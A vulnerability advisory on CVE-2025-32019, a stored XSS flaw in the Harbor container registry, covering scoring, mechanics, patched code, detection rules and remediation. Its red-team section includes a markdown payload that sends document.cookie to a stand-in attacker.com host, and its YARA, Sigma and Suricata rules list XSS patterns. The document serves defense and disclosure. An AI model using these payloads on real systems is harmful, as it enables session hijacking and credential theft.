CVE-2025-32019
Executive Summary
CVE-2025-32019 is a stored Cross-Site Scripting (XSS) vulnerability in the Harbor container registry, affecting versions 2.11.2 and below, as well as release candidates 2.12.0-rc1 and 2.13.0-rc1. The vulnerability resides in the markdown field of the project info tab page, allowing an authenticated attacker with project-level write access to inject malicious JavaScript. When other users view the project info page, the injected script executes in their browser context, potentially leading to session hijacking, credential theft, or further compromise within the Harbor web interface. The vulnerability has a CVSS score of 4.1 (Medium) and is fixed in versions 2.11.3 and 2.12.3. No public proof-of-concept or exploit code is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Harbor is a cloud-native container registry written in Go, with a web UI built using Angular and Markdown rendering libraries. The vulnerability directly impacts the supply chain security of any organization using Harbor to store and distribute container images. An attacker who compromises a project’s info page can use XSS to steal API tokens, modify project settings, or exfiltrate image metadata. Since Harbor is often deployed as a critical component in CI/CD pipelines, exploitation could lead to downstream compromise of container images and deployment environments.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Base Score: 4.1 (Medium)
- Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely.
- Attack Complexity: Low (AC:L) – No special conditions required.
- Privileges Required: Low (PR:L) – Attacker needs project write access.
- User Interaction: Required (UI:R) – Victim must view the project info page.
- Scope: Changed (S:C) – The injected script can impact resources beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – Limited information disclosure.
- Integrity Impact: Low (I:L) – Limited modification of data.
- Availability Impact: None (A:N) – No denial of service.
Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the potential for session hijacking and lateral movement within the Harbor web interface makes this a significant concern for multi-tenant deployments.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS in the Markdown rendering pipeline of Harbor’s project info tab. When a user with project write access edits the project description, the input is stored in the database without proper sanitization. The Markdown content is later rendered on the project info page using a Markdown-to-HTML converter that does not escape or sanitize HTML tags or JavaScript.
The attack flow:
- Attacker logs into Harbor and navigates to a project they have write access to.
- Attacker edits the project info tab and injects a malicious Markdown payload, e.g.,
[Click me](javascript:alert('XSS'))or raw HTML like<img src=x onerror=alert(1)>. - The payload is stored in the database.
- When any user (including administrators) views the project info page, the Markdown is rendered, and the injected script executes in their browser.
The root cause is insufficient output encoding in the Markdown rendering function. Harbor uses a Markdown library that, by default, allows raw HTML and JavaScript URLs. The fix in versions 2.11.3 and 2.12.3 likely involves either switching to a safer Markdown renderer, enabling HTML sanitization (e.g., using DOMPurify), or disabling raw HTML and JavaScript links.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
// In the Angular component that renders project info
import { MarkdownService } from 'ngx-markdown';
@Component({...})
export class ProjectInfoComponent {
constructor(private markdownService: MarkdownService) {}
renderMarkdown(content: string): string {
// Directly converts Markdown to HTML without sanitization
return this.markdownService.compile(content);
}
}
Patched Code (Conceptual):
// In the Angular component that renders project info
import { MarkdownService } from 'ngx-markdown';
import { DomSanitizer } from '@angular/platform-browser';
@Component({...})
export class ProjectInfoComponent {
constructor(
private markdownService: MarkdownService,
private sanitizer: DomSanitizer
) {}
renderMarkdown(content: string): string {
// Compile Markdown first, then sanitize the output
const html = this.markdownService.compile(content);
return this.sanitizer.sanitize(SecurityContext.HTML, html);
}
}
The patched version uses Angular’s DomSanitizer to strip dangerous HTML tags and attributes after Markdown compilation, preventing XSS.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to a Harbor instance (version <= 2.11.2 or 2.12.0-rc1/2.13.0-rc1)
- Valid credentials with project write access
Exploitation Steps:
- Identify Target: Find a Harbor instance with a project you can write to.
- Craft Payload: Create a Markdown payload that executes JavaScript. Example:
Or using raw HTML:[Click me](javascript:alert(document.cookie))<img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> - Inject Payload: Edit the project info tab and paste the payload.
- Trigger: Wait for an administrator or other user to view the project info page.
- Exfiltrate: The injected script sends cookies or other sensitive data to your server.
Lab Setup:
- Deploy a vulnerable Harbor instance using Docker Compose:
version: '3' services: harbor: image: goharbor/harbor-core:v2.11.2 ports: - "80:8080" environment: - HARBOR_ADMIN_PASSWORD=Harbor12345 - Use a simple HTTP server to capture exfiltrated data:
python3 -m http.server 9999
Blue Team
Detection Steps:
- Monitor Project Info Changes: Log all edits to project info fields. Look for suspicious Markdown patterns like
javascript:,onerror=,onload=, or<script>tags. - Review Web Application Logs: Check Harbor’s access logs for unusual user-agent strings or repeated requests to the project info API endpoint.
- Inspect Network Traffic: Use a web application firewall (WAF) to detect and block XSS payloads in Markdown content.
Hunting Queries:
- Search for project info fields containing
javascript:or<script>in the database. - Look for API calls to
/api/v2.0/projects/{project_id}with suspiciousdescriptionparameters.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to attacker-controlled domains from Harbor web UI users.
- Unusual
Refererheaders pointing to Harbor project info pages.
- Host IOCs:
- Harbor database entries in the
projecttable withdescriptionfields containingjavascript:or<script>tags. - Modified project info fields that include raw HTML or JavaScript URLs.
- Harbor database entries in the
- File IOCs:
- Harbor log files (
/var/log/harbor/*.log) showing repeated edits to project info by the same user.
- Harbor log files (
Detection Engineering
YARA Rule
rule Detect_Harbor_XSS_Payload {
meta:
description = "Detects XSS payloads in Harbor project info Markdown fields"
author = "Valters IT"
date = "2025-04-10"
cve = "CVE-2025-32019"
strings:
$xss1 = "javascript:" ascii wide nocase
$xss2 = "onerror=" ascii wide nocase
$xss3 = "onload=" ascii wide nocase
$xss4 = "<script" ascii wide nocase
$xss5 = "onmouseover=" ascii wide nocase
condition:
any of them
}
Sigma Rule
title: Harbor Project Info XSS Injection
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects XSS payloads in Harbor project info Markdown fields
author: Valters IT
date: 2025-04-10
tags:
- attack.t1190
- cve.2025.32019
logsource:
category: application
product: harbor
detection:
selection:
event: "project.info.update"
description|contains:
- "javascript:"
- "onerror="
- "onload="
- "<script"
- "onmouseover="
condition: selection
falsepositives:
- Legitimate use of JavaScript in Markdown (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-32019 Harbor XSS Payload Exfiltration"; flow:to_server,established; content:"GET"; http_method; content:"/steal?cookie="; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Harbor: Update to version 2.11.3 or 2.12.3 immediately.
- Restrict Project Write Access: Limit the number of users with project write permissions.
- Enable Web Application Firewall (WAF): Deploy a WAF with XSS detection rules to block malicious Markdown payloads.
Long-Term Mitigations:
- Input Validation: Implement strict input validation on the server side to reject Markdown containing dangerous patterns.
- Output Encoding: Use a Markdown renderer that sanitizes HTML output (e.g., DOMPurify).
- Content Security Policy (CSP): Add a CSP header to the Harbor web UI to restrict script execution.
- Regular Security Audits: Conduct periodic code reviews and penetration tests on Harbor deployments.
Patch Details:
- Upgrade to Harbor 2.11.3 or 2.12.3.
- If upgrading is not immediately possible, apply a hotfix by modifying the Markdown rendering component to use a sanitizer.
Valters IT
DevSecOps & Cyber Threat Intelligence